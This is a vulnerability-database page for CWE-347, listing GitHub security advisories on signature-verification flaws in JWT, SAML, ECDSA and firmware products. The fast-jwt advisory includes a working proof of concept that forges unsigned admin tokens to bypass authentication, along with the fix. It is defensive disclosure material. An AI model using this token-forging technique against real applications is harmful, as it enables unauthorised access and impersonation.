CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1438 vulnerabilities reference this CWE, most recent first.
GHSA-8VV4-6V2F-6RCQ
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-16 15:30HCL AION is affected by a vulnerability where offering images are not digitally signed. Lack of image signing may allow the use of unverified or tampered images, potentially leading to security risks such as integrity compromise or unintended behavior in the system
{
"affected": [],
"aliases": [
"CVE-2025-52648"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:17:59Z",
"severity": "MODERATE"
},
"details": "HCL AION is affected by a vulnerability where offering images are not digitally signed. Lack of image signing may allow the use of unverified or tampered images, potentially leading to security risks such as integrity compromise or unintended behavior in the system",
"id": "GHSA-8vv4-6v2f-6rcq",
"modified": "2026-03-16T15:30:41Z",
"published": "2026-03-16T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52648"
},
{
"type": "WEB",
"url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0129410"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8WMC-QJ7W-W9JV
Vulnerability from github – Published: 2023-08-13 12:30 – Updated: 2024-04-04 06:53Vulnerability of insecure signatures in the ServiceWifiResources module. Successful exploitation of this vulnerability may cause ServiceWifiResources to be maliciously modified and overwritten.
{
"affected": [],
"aliases": [
"CVE-2023-39393"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-13T12:15:46Z",
"severity": "HIGH"
},
"details": "Vulnerability of insecure signatures in the ServiceWifiResources module. Successful exploitation of this vulnerability may cause ServiceWifiResources to be maliciously modified and overwritten.",
"id": "GHSA-8wmc-qj7w-w9jv",
"modified": "2024-04-04T06:53:50Z",
"published": "2023-08-13T12:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39393"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/8"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202308-0000001667644725"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8WPC-H4Q6-8FXV
Vulnerability from github – Published: 2026-10-08 22:02 – Updated: 2026-10-08 22:02Summary
createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.
Details
Root cause — four cooperating code paths:
A. Falsy sync keys bypass prepareKeyOrSecret
createVerifier branches on typeof key:
const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}
When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:
function prepareKeyOrSecret(key, isSecret) {
if (isSecret && key.length === 0) {
throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
}
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
B. Explicit algorithms keeps an allowlist active with no key
When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.
C. hasKey is false → missing signature is permitted
const hasKey = key instanceof Buffer ? key.length : !!key
if (hasKey && !signature) {
throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto
An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.
D. Signature check is gated on signature being truthy
if (signature && !verifySignature(header.alg, key, input, signature)) {
throw new TokenError(/* invalidSignature */)
}
Empty signature → condition is false → verifySignature is never called.
E. Signer / verifier asymmetry
createSigner({ key: '' })/key: null→ rejectedcreateVerifier({ key: async () => '' })→ rejected (GHSA empty-secret tests)createVerifier({ key: '' | null, algorithms: [...] })→ accepted, then verifies unsigned tokens
Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.
Affected versions: confirmed on 6.3.0 (current main @ 378422c).
This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).
PoC
cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
// poc-empty-key-bypass.js
const { createVerifier } = require('.')
function unsigned(alg, claims) {
const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
return `${h}.${p}.` // trailing dot = empty signature
}
const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })
// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }
// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }
// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
catch (e) { console.log('non-empty key:', e.code) } // FAST_JWT_MISSING_SIGNATURE
try { createVerifier({ key: '' })(token) }
catch (e) { console.log('empty key, no algorithms:', e.code) } // FAST_JWT_INVALID_ALGORITHM
try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
catch (e) { console.log('empty Buffer:', e.code) } // FAST_JWT_INVALID_KEY
Expected: TokenError with code FAST_JWT_INVALID_KEY
Actual: payload returned with no signature check
Impact
Full authentication / authorization bypass. Any application that:
- Uses
createVerifierwithkey: ''orkey: null(common when a secret is read from an unset environment variable, e.g.process.env.JWT_SECRET || ''), and - Sets
algorithmsto a non-empty allowlist (a recommended security practice),
will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.
Suggested fix
In createVerifier, fail closed before binding the verifier:
if (keyType !== 'function') {
if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
throw new TokenError(TokenError.codes.invalidKey,
'The key cannot be null, empty, or a zero-length buffer.')
}
}
Also guard the combination explicitly:
if (!key && allowedAlgorithms.length > 0) {
throw new TokenError(TokenError.codes.invalidKey,
'The key cannot be falsy when algorithms is set.')
}
The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.3.0"
},
"package": {
"ecosystem": "npm",
"name": "fast-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107720"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T22:02:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`createVerifier` in fast-jwt \u2264 6.3.0 skips signature verification entirely when the `key` option is a falsy synchronous value (`\u0027\u0027` or `null`) **and** the `algorithms` option is set to a non-empty allowlist. An attacker who can present a JWT to the application \u2014 regardless of algorithm \u2014 can forge arbitrary claims without possessing any signing key.\n\n### Details\n\n**Root cause \u2014 four cooperating code paths:**\n\n**A. Falsy sync keys bypass `prepareKeyOrSecret`**\n\n`createVerifier` branches on `typeof key`:\n\n```js\nconst keyType = typeof key\nif (keyType !== \u0027string\u0027 \u0026\u0026 keyType !== \u0027object\u0027 \u0026\u0026 keyType !== \u0027function\u0027) {\n throw new TokenError(/* ... */)\n}\nif (key \u0026\u0026 keyType !== \u0027function\u0027) {\n key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))\n}\n```\n\nWhen `key` is `\u0027\u0027` (string, falsy) or `null` (object, falsy) the outer type check passes but the `if (key \u0026\u0026 ...)` guard never calls `prepareKeyOrSecret`. The empty-secret rejection added in that function is therefore never reached for sync keys:\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n if (isSecret \u0026\u0026 key.length === 0) {\n throw new TokenError(TokenError.codes.invalidKey, \u0027The key cannot be an empty string or buffer.\u0027)\n }\n return isSecret ? createSecretKey(key) : createPublicKey(key)\n}\n```\n\n**B. Explicit `algorithms` keeps an allowlist active with no key**\n\nWhen `key` is falsy, autodetection is skipped and the caller-supplied `algorithms` (e.g. `[\u0027HS256\u0027]`) is retained in `allowedAlgorithms`. The verifier therefore accepts tokens whose header matches that list.\n\n**C. `hasKey` is false \u2192 missing signature is permitted**\n\n```js\nconst hasKey = key instanceof Buffer ? key.length : !!key\n\nif (hasKey \u0026\u0026 !signature) {\n throw new TokenError(/* missingSignature */)\n} else if (!hasKey \u0026\u0026 signature) {\n throw new TokenError(/* missingKey */)\n}\n// !hasKey \u0026\u0026 !signature \u2192 fall through with NO crypto\n```\n\nAn unsigned token (`header.payload.`) produces `signature === \u0027\u0027`, which is falsy, so both branches are skipped.\n\n**D. Signature check is gated on `signature` being truthy**\n\n```js\nif (signature \u0026\u0026 !verifySignature(header.alg, key, input, signature)) {\n throw new TokenError(/* invalidSignature */)\n}\n```\n\nEmpty signature \u2192 condition is `false` \u2192 `verifySignature` is never called.\n\n**E. Signer / verifier asymmetry**\n\n- `createSigner({ key: \u0027\u0027 })` / `key: null` \u2192 **rejected**\n- `createVerifier({ key: async () =\u003e \u0027\u0027 })` \u2192 **rejected** (GHSA empty-secret tests)\n- `createVerifier({ key: \u0027\u0027 | null, algorithms: [...] })` \u2192 **accepted**, then verifies unsigned tokens\n\nIronically, the security best practice of setting `algorithms` **enables** the bypass. With `algorithms` omitted, `allowedAlgorithms` stays `[]` and every token fails closed.\n\n**Affected versions:** confirmed on 6.3.0 (current `main` @ 378422c).\nThis is an incomplete fix relative to the empty-secret hardening already applied for `Buffer` keys and `async` key functions (GHSA-gmvf lineage, PR #609).\n\n### PoC\n\n```bash\ncd /tmp \u0026\u0026 git clone --depth 1 https://github.com/nearform/fast-jwt.git \u0026\u0026 cd fast-jwt \u0026\u0026 npm install\n```\n\n```js\n// poc-empty-key-bypass.js\nconst { createVerifier } = require(\u0027.\u0027)\n\nfunction unsigned(alg, claims) {\n const h = Buffer.from(JSON.stringify({ alg, typ: \u0027JWT\u0027 })).toString(\u0027base64url\u0027)\n const p = Buffer.from(JSON.stringify(claims)).toString(\u0027base64url\u0027)\n return `${h}.${p}.` // trailing dot = empty signature\n}\n\nconst token = unsigned(\u0027HS256\u0027, { sub: \u0027attacker\u0027, admin: true, role: \u0027root\u0027 })\n\n// Vulnerable: key \u0027\u0027 + explicit algorithms allowlist\nconst verify = createVerifier({ key: \u0027\u0027, algorithms: [\u0027HS256\u0027] })\nconsole.log(verify(token))\n// \u2192 { sub: \u0027attacker\u0027, admin: true, role: \u0027root\u0027 }\n\n// Also works for RS256 / ES256 / EdDSA allowlists and key: null\nconsole.log(createVerifier({ key: null, algorithms: [\u0027RS256\u0027] })(unsigned(\u0027RS256\u0027, { admin: true })))\n// \u2192 { admin: true }\n\n// Negative controls (correctly rejected):\ntry { createVerifier({ key: \u0027secret\u0027, algorithms: [\u0027HS256\u0027] })(token) }\n catch (e) { console.log(\u0027non-empty key:\u0027, e.code) } // FAST_JWT_MISSING_SIGNATURE\n\ntry { createVerifier({ key: \u0027\u0027 })(token) }\n catch (e) { console.log(\u0027empty key, no algorithms:\u0027, e.code) } // FAST_JWT_INVALID_ALGORITHM\n\ntry { createVerifier({ key: Buffer.alloc(0), algorithms: [\u0027HS256\u0027] })(token) }\n catch (e) { console.log(\u0027empty Buffer:\u0027, e.code) } // FAST_JWT_INVALID_KEY\n```\n\n**Expected:** `TokenError` with code `FAST_JWT_INVALID_KEY`\n**Actual:** payload returned with no signature check\n\n### Impact\n\nFull authentication / authorization bypass. Any application that:\n\n1. Uses `createVerifier` with `key: \u0027\u0027` or `key: null` (common when a secret is read from an unset environment variable, e.g. `process.env.JWT_SECRET || \u0027\u0027`), **and**\n2. Sets `algorithms` to a non-empty allowlist (a recommended security practice),\n\nwill accept attacker-crafted JWTs with arbitrary claims. Claim checks (`exp`, `allowedSub`, etc.) still run; only signature verification is skipped.\n\n### Suggested fix\n\nIn `createVerifier`, fail closed before binding the verifier:\n\n```js\nif (keyType !== \u0027function\u0027) {\n if (key === null || key === \u0027\u0027 || (Buffer.isBuffer(key) \u0026\u0026 key.length === 0)) {\n throw new TokenError(TokenError.codes.invalidKey,\n \u0027The key cannot be null, empty, or a zero-length buffer.\u0027)\n }\n}\n```\n\nAlso guard the combination explicitly:\n\n```js\nif (!key \u0026\u0026 allowedAlgorithms.length \u003e 0) {\n throw new TokenError(TokenError.codes.invalidKey,\n \u0027The key cannot be falsy when algorithms is set.\u0027)\n}\n```\n\nThe async path (key function resolving to `\u0027\u0027`) is already hardened via `prepareKeyOrSecret` and does not need to change.",
"id": "GHSA-8wpc-h4q6-8fxv",
"modified": "2026-10-08T22:02:12Z",
"published": "2026-10-08T22:02:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv"
},
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/pull/649"
},
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534"
},
{
"type": "PACKAGE",
"url": "https://github.com/nearform/fast-jwt"
},
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/releases/tag/v6.3.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-jwt: createVerifier accepts unsigned JWTs when key is \u0027\u0027 or null and algorithms is explicitly set"
}
GHSA-8XCP-QVV3-HCCF
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-07-13 00:01SAP HANA Database, versions - 1.0, 2.0, accepts SAML tokens with MD5 digest, an attacker who manages to obtain an MD5-digest signed SAML Assertion issued for an SAP HANA instance might be able to tamper with it and alter it in a way that the digest continues to be the same and without invalidating the digital signature, this allows them to impersonate as user in HANA database and be able to read the contents in the database.
{
"affected": [],
"aliases": [
"CVE-2021-21474"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-09T21:15:00Z",
"severity": "MODERATE"
},
"details": "SAP HANA Database, versions - 1.0, 2.0, accepts SAML tokens with MD5 digest, an attacker who manages to obtain an MD5-digest signed SAML Assertion issued for an SAP HANA instance might be able to tamper with it and alter it in a way that the digest continues to be the same and without invalidating the digital signature, this allows them to impersonate as user in HANA database and be able to read the contents in the database.",
"id": "GHSA-8xcp-qvv3-hccf",
"modified": "2022-07-13T00:01:07Z",
"published": "2022-05-24T17:41:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21474"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/2992154"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=568460543"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8XF4-W7QW-PJJW
Vulnerability from github – Published: 2022-03-30 00:00 – Updated: 2023-02-17 14:26In Firebase PHP-JWT before 6.0.0, an algorithm-confusion issue (e.g., RS256 / HS256) exists via the kid (aka Key ID) header, when multiple types of keys are loaded in a key ring. This allows an attacker to forge tokens that validate under the incorrect key. NOTE: this provides a straightforward way to use the PHP-JWT library unsafely, but might not be considered a vulnerability in the library itself.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "firebase/php-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-46743"
],
"database_specific": {
"cwe_ids": [
"CWE-347",
"CWE-843"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-17T14:26:38Z",
"nvd_published_at": "2022-03-29T07:15:00Z",
"severity": "CRITICAL"
},
"details": "In Firebase PHP-JWT before 6.0.0, an algorithm-confusion issue (e.g., RS256 / HS256) exists via the kid (aka Key ID) header, when multiple types of keys are loaded in a key ring. This allows an attacker to forge tokens that validate under the incorrect key. NOTE: this provides a straightforward way to use the PHP-JWT library unsafely, but might not be considered a vulnerability in the library itself.",
"id": "GHSA-8xf4-w7qw-pjjw",
"modified": "2023-02-17T14:26:38Z",
"published": "2022-03-30T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46743"
},
{
"type": "WEB",
"url": "https://github.com/firebase/php-jwt/issues/351"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/firebase/php-jwt/CVE-2021-46743.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/firebase/php-jwt"
},
{
"type": "WEB",
"url": "https://github.com/firebase/php-jwt/releases/tag/v6.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Firebase PHP-JWT key/algorithm type confusion"
}
GHSA-8XJ4-3GR5-XW39
Vulnerability from github – Published: 2025-07-08 12:31 – Updated: 2025-07-08 12:31Improper verification of intent by broadcast receiver in System UI for Galaxy Watch prior to SMR Jul-2025 Release 1 allows local attackers to power off the device.
{
"affected": [],
"aliases": [
"CVE-2025-21004"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-08T11:15:25Z",
"severity": "MODERATE"
},
"details": "Improper verification of intent by broadcast receiver in System UI for Galaxy Watch prior to SMR Jul-2025 Release 1 allows local attackers to power off the device.",
"id": "GHSA-8xj4-3gr5-xw39",
"modified": "2025-07-08T12:31:02Z",
"published": "2025-07-08T12:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21004"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2025\u0026month=07"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-923W-2XV2-7PR8
Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2024-04-25 21:00The XmlSecLibs library as used in the saml2 library in SimpleSAMLphp before 1.15.3 incorrectly verifies signatures on SAML assertions, allowing a remote attacker to construct a crafted SAML assertion on behalf of an Identity Provider that would pass as cryptographically valid, thereby allowing them to impersonate a user from that Identity Provider, aka a key confusion issue.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "simplesamlphp/saml2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.10.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "simplesamlphp/saml2"
},
"ranges": [
{
"events": [
{
"introduced": "2.0"
},
{
"fixed": "2.3.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "simplesamlphp/saml2"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-7644"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-25T21:00:32Z",
"nvd_published_at": "2018-03-05T14:29:00Z",
"severity": "HIGH"
},
"details": "The XmlSecLibs library as used in the saml2 library in SimpleSAMLphp before 1.15.3 incorrectly verifies signatures on SAML assertions, allowing a remote attacker to construct a crafted SAML assertion on behalf of an Identity Provider that would pass as cryptographically valid, thereby allowing them to impersonate a user from that Identity Provider, aka a key confusion issue.",
"id": "GHSA-923w-2xv2-7pr8",
"modified": "2024-04-25T21:00:33Z",
"published": "2022-05-13T01:53:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7644"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/simplesamlphp/saml2/CVE-2018-7644.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/simplesamlphp/simplesamlphp"
},
{
"type": "WEB",
"url": "https://simplesamlphp.org/security/201802-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "SimpleSAMLphp Improper Verification of Cryptographic Signature"
}
GHSA-929H-MG2V-7C23
Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18There is a signature management vulnerability in some huawei products. An attacker can forge signature and bypass the signature check. During firmware update process, successful exploit this vulnerability can cause the forged system file overwrite the correct system file. Affected product versions include:iManager NetEco V600R010C00CP2001,V600R010C00CP2002,V600R010C00SPC100,V600R010C00SPC110,V600R010C00SPC120,V600R010C00SPC200,V600R010C00SPC210,V600R010C00SPC300;iManager NetEco 6000 V600R009C00SPC100,V600R009C00SPC110,V600R009C00SPC120,V600R009C00SPC190,V600R009C00SPC200,V600R009C00SPC201,V600R009C00SPC202,V600R009C00SPC210.
{
"affected": [],
"aliases": [
"CVE-2021-37127"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-27T01:15:00Z",
"severity": "HIGH"
},
"details": "There is a signature management vulnerability in some huawei products. An attacker can forge signature and bypass the signature check. During firmware update process, successful exploit this vulnerability can cause the forged system file overwrite the correct system file. Affected product versions include:iManager NetEco V600R010C00CP2001,V600R010C00CP2002,V600R010C00SPC100,V600R010C00SPC110,V600R010C00SPC120,V600R010C00SPC200,V600R010C00SPC210,V600R010C00SPC300;iManager NetEco 6000 V600R009C00SPC100,V600R009C00SPC110,V600R009C00SPC120,V600R009C00SPC190,V600R009C00SPC200,V600R009C00SPC201,V600R009C00SPC202,V600R009C00SPC210.",
"id": "GHSA-929h-mg2v-7c23",
"modified": "2022-05-24T19:18:58Z",
"published": "2022-05-24T19:18:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37127"
},
{
"type": "WEB",
"url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20211020-01-signature-en"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-92HG-JJMR-6GV2
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34A wrong generation of the passphrase for the encrypted block in Nextcloud Server 19.0.1 allowed an attacker to overwrite blocks in a file.
{
"affected": [],
"aliases": [
"CVE-2020-8133"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-09T15:15:00Z",
"severity": "MODERATE"
},
"details": "A wrong generation of the passphrase for the encrypted block in Nextcloud Server 19.0.1 allowed an attacker to overwrite blocks in a file.",
"id": "GHSA-92hg-jjmr-6gv2",
"modified": "2022-05-24T17:34:09Z",
"published": "2022-05-24T17:34:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8133"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/661051"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/661051,"
},
{
"type": "WEB",
"url": "https://nextcloud.com/security/advisory/?id=NC-SA-2020-038"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-92VM-MXJF-JQF3
Vulnerability from github – Published: 2021-11-10 20:41 – Updated: 2024-10-25 14:49The verify function in the Stark Bank Python ECDSA library (starkbank-ecdsa) 2.0.0 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "starkbank-ecdsa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-43572"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-10T18:23:18Z",
"nvd_published_at": "2021-11-09T22:15:00Z",
"severity": "CRITICAL"
},
"details": "The `verify` function in the Stark Bank Python ECDSA library (starkbank-ecdsa) 2.0.0 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.",
"id": "GHSA-92vm-mxjf-jqf3",
"modified": "2024-10-25T14:49:40Z",
"published": "2021-11-10T20:41:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43572"
},
{
"type": "WEB",
"url": "https://github.com/starkbank/ecdsa-python/commit/d136170666e9510eb63c2572551805807bd4c17f"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/starkbank-ecdsa/PYSEC-2021-426.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/starkbank/ecdsa-python"
},
{
"type": "WEB",
"url": "https://github.com/starkbank/ecdsa-python/releases/tag/v2.0.1"
},
{
"type": "WEB",
"url": "https://research.nccgroup.com/2021/11/08/technical-advisory-arbitrary-signature-forgery-in-stark-bank-ecdsa-libraries"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Verification of Cryptographic Signature in starkbank-ecdsa"
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.